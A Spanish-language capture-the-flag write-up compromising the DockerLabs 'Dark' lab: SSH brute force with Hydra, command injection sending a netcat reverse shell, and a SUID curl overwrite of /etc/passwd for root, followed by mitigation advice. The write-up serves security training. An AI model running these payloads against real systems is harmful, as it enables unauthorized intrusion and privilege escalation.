Ir al contenido

Dark

Este documento detalla la metodología y procedimiento completo para comprometer la máquina Dark, desarrollada por makak77 para DockerLabs y clasificada con dificultad Media. Esta máquina presenta un escenario avanzado de pivoting entre dos hosts interconectados.

La resolución sigue una metodología estructurada:

  1. Reconocimiento: Enumeración de servicios y descubrimiento de rutas en el host accesible.
  2. Explotación: Ataque de fuerza bruta a credenciales SSH y descubrimiento de inyección de comandos.
  3. Pivoting: Salto desde el primer host al segundo mediante inyección de comandos.
  4. Escalada de privilegios: Abuso de permisos SUID en el segundo host para obtener acceso root.

El entorno de prueba fue desplegado localmente mediante DockerLabs, representando un escenario realista de red segmentada.


AtributoValor
NombreDark
Autormakak77
DificultadMedio
Fecha21/12/2024
PlataformaDockerLabs
ArquitecturaDos hosts interconectados
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Atacante │──────│ Host 1 │──────│ Host 2 │
│ 10.10.10.1 │ │ 10.10.10.2 │ │ 20.20.20.3 │
│ │ │ 20.20.20.2 │ │ │
└─────────────┘ └─────────────┘ └─────────────┘

Descomprimimos los archivos de la máquina y los desplegamos:

Ventana de terminal
unzip Dark.zip
sudo bash auto_deploy.sh Dark1.tar Dark2.tar
Máquina desplegada desde dark1.tar, sus direcciones IP son --> 10.10.10.2 20.20.20.2
Máquina desplegada desde dark2.tar, sus direcciones IP son --> 20.20.20.3

Creamos una estructura organizada para documentar el proceso:

Ventana de terminal
mkdir -p Dark/{content,exploits,nmap,gobuster,scripts}
cd Dark

Ejecutamos un escaneo TCP SYN en el primer host accesible:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 10.10.10.2 -oG allPorts
extractPorts allPorts

Resultados:

  • 22/tcp — SSH (Secure Shell)
  • 80/tcp — HTTP (Web Server)

Puertos abiertos

Figura 1: Servicios expuestos en el Host 1

Realizamos un escaneo exhaustivo de directorios:

Ventana de terminal
feroxbuster -u http://10.10.10.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Resultado del escaneo

Figura 2: Directorios descubiertos en el Host 1

  1. /index — Formulario para ingresar URLs Formulario principal Figura 3: Formulario que acepta URLs externas

  2. /info — Página informativa que revela un usuario Página info Figura 4: Información que revela el usuario “toni”

Utilizando el formulario en /index, probamos acceder a la segunda dirección IP descubierta:

http://20.20.20.3

Sitio web del Host 2

Figura 5: Sitio web del Host 2 accesible desde el Host 1


Con el usuario “toni” descubierto, realizamos un ataque de fuerza bruta:

Ventana de terminal
hydra -l toni -P rockyou.txt -u ssh://10.10.10.2 -I -f

Resultado de Hydra

Figura 6: Credenciales SSH comprometidas

Credenciales obtenidas: toni:iloveme

Nos conectamos al Host 1:

Ventana de terminal
ssh toni@10.10.10.2

Conexión SSH exitosa

Figura 7: Acceso SSH como usuario toni


Revisamos el historial de bash del usuario:

Ventana de terminal
cat ~/.bash_history

Historial de bash

Figura 8: Comandos históricos revelando inyección de comandos

Hallazgos críticos:

  1. Un listener en puerto 53 fue activado
  2. Se envió una solicitud a http://20.20.20.3/process.php
  3. El parámetro cmd es vulnerable a inyección de comandos

4.2 Explotación de la Inyección de Comandos

Sección titulada «4.2 Explotación de la Inyección de Comandos»

Abrimos dos sesiones SSH al Host 1:

Sesión 1 - Listener:

Ventana de terminal
nc -nlvp 53

Sesión 2 - Exploit:

Ventana de terminal
curl --data "cmd=nc -e /bin/bash 20.20.20.2 53" http://20.20.20.3/process.php

Reverse shell al Host 2

Figura 9: Shell como www-data en el Host 2


Fase 5 — Escalada de Privilegios en el Host 2

Sección titulada «Fase 5 — Escalada de Privilegios en el Host 2»

Primero estabilizamos la shell obtenida:

Ventana de terminal
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

Verificamos privilegios disponibles:

Ventana de terminal
sudo -l
find / -perm -4000 2>/dev/null

Binarios SUID

Figura 10: Binarios con bit SUID habilitado

Hallazgo crítico: curl con permisos SUID.

El binario curl con SUID permite sobrescribir archivos del sistema como root. Aprovechamos esto para modificar /etc/passwd:

  1. Creación del archivo modificado:

    Ventana de terminal
    cp /etc/passwd /tmp/newpasswd
    sed -i 's/^root:x:/root::/' /tmp/newpasswd
  2. Sobrescritura del archivo original:

    Ventana de terminal
    curl file:///tmp/newpasswd -o /etc/passwd

Con la contraseña de root eliminada, podemos cambiar directamente a usuario root:

Ventana de terminal
su root

Shell como root

Figura 11: Acceso root obtenido en el Host 2


VulnerabilidadSeveridadImpactoCWE/Referencia
Credenciales SSH débilesAltaAcceso inicial al primer hostCWE-521
Inyección de comandos en process.phpCríticaPivoting al segundo hostCWE-78
Permisos SUID en binario curlCríticaElevación de privilegios a rootCWE-269
Exposición de información en archivos de historialMediaFacilitación del ataqueCWE-200
Arquitectura de red sin segmentación adecuadaAltaPivoting lateral facilitadoCWE-923
  1. Gestión de Credenciales:

    • Implementar políticas de contraseñas complejas (mínimo 12 caracteres, mezcla de tipos)
    • Utilizar autenticación por clave SSH en lugar de contraseñas
    • Implementar 2FA para acceso administrativo
  2. Protección contra Inyección de Comandos:

    • Validar y sanitizar todos los parámetros de entrada
    • Utilizar listas blancas de comandos permitidos
    • Implementar funciones de escape de shell
    • Revisar y parchar scripts PHP vulnerables
  3. Gestión de Permisos SUID:

    • Auditar y eliminar bits SUID innecesarios
    • Especialmente en binarios como curl, wget, python, etc.
    • Implementar herramientas como sudo con comandos específicos
    • Utilizar capacidades Linux en lugar de SUID cuando sea posible
  4. Seguridad del Historial:

    • Configurar HISTCONTROL=ignorespace para omitir comandos con espacio inicial
    • Limitar tamaño del historial con HISTSIZE y HISTFILESIZE
    • Implementar monitoreo de archivos de historial
    • Utilizar herramientas de gestión centralizada de logs
  5. Segmentación de Red:

    • Implementar firewalls entre segmentos de red
    • Restringir comunicación lateral innecesaria
    • Utilizar VLANs para aislamiento
    • Implementar reglas de filtrado basadas en necesidad
  6. Hardening del Sistema:

    • Implementar SELinux/AppArmor para confinamiento
    • Configurar sistemas de detección de intrusión (IDS)
    • Monitorear modificaciones en archivos críticos como /etc/passwd
    • Realizar auditorías de seguridad periódicas